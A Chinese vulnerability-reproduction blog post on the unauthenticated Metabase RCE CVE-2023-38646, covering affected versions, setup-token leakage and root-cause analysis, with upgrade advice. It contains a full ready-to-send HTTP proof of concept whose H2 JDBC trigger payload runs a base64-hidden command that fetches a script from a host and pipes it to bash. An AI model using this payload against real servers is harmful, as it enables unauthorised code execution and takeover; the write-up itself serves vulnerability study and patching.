漏洞复现-Metabase 远程代码执行漏洞(CVE-2023-38646)

1.漏洞描述

Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。

Metabase open source 0.46.6.1之前的版本和Metabase Enterprise 1.46.6.1之前的版本存在一个漏洞,允许攻击者在服务器的权限级别上执行任意命令。利用时不需要身份验证。

2.影响版本

Metabase open source 0.46 < 0.46.6.1

Metabase Enterprise 1.46 < 1.46.6.1

Metabase open source 0.45 < v0.45.4.1

Metabase Enterprise 1.45 < 1.45.4.1

Metabase open source 0.44 < 0.44.7.1

Metabase Enterprise 1.44 < 1.44.7.1

Metabase open source 0.43 < 0.43.7.2

Metabase Enterprise 1.43 < 1.43.7.2



访问http://192.168.77.142:3000/api/session/properties

需要先获取到setup-token

POC

POST /api/setup/validate HTTP/1.1

Host: 192.168.77.142:3000

Content-Type: application/json

Upgrade-Insecure-Requests: 1

X-Forwarded-For: 127.0.0.1

Content-Length: 804



{

    "token": "89a6ac54-4d90-4db9-a8b7-9469be8b4848",

    "details":

    {

        "is_on_demand": false,

        "is_full_sync": false,

        "is_sample": false,

        "cache_ttl": null,

        "refingerprint": false,

        "auto_run_queries": true,

        "schedules":

        {},

        "details":

        {

            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAxOTIuMTY4Ljc3LjE0Mjo4ODY0LzEudHh0}|{base64,-d}|{bash,-i}')\n$$--=x",

            "advanced-options": false,

            "ssl": true

        },

        "name": "an-sec-research-team",

        "engine": "h2"

    }

}

5.漏洞分析

令牌泄露

在Metabase 进行安装时,存在一个特殊的令牌setup-token,按照官方预设的流程,一般来说其只能存在一次,在安装结束之后便会清除,但是官方完成安装后移除setup-token 这个重要的的操作给移除了。

https://github.com/metabase/metabase/commit/0526d88f997d0f26304cdbb6313996df463ad13f#diff-bf3f2797f327779cbbd6bfab7e45261c7ee93b29db6828d2ee0ad17acf4d7825L33

这导致了完成安装后 properties仍然存在setup-token

所以我们可以通过/api/session/properties来读取 setup-token

现在 我们已经拿到了 setup-token 以用于调用setup api。

JDBC RCE

src/metabase/api/setup.clj
存在路由/api/setup/validate,用于验证数据库是否连接成功

它会通过api.database/test-database-connection来处理输入的参数完成对数据库的校验
跟进到src/metabase/api/database.clj

就是一个JDBC Connection

根据pyn3rd师傅分享的https://blog.pyn3rd.com/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/可以知道,可以通过以下三种方式攻击H2数据库

  1. RUNSCRIPT FROM远程加载sql文件(需要出网)
  2. CREATE ALIAS使用Groovy替代原生Java来定义用户函数(需要Groovy依赖)
  3. CREATE TRIGGER配合 javascript 引擎构建代码执行

我们这里采用第三种方法,无需出网和额外依赖即可使用,javax.script.ScriptEngineManager是Java中用于执行脚本的引擎,只要代码的最开头是 //javascript ,就会被认为是JavaScript脚本,并编译和执行。

**6.**修复建议

目前官方已发布新版已经修复此漏洞,并且为受影响版本发布了补丁,建议用户尽快升级至最新版本。

官方下载地址:

https://github.com/metabase/metabase/releases

最后

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

干货主要有:

①1000+CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

扫码领取

  • 6
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值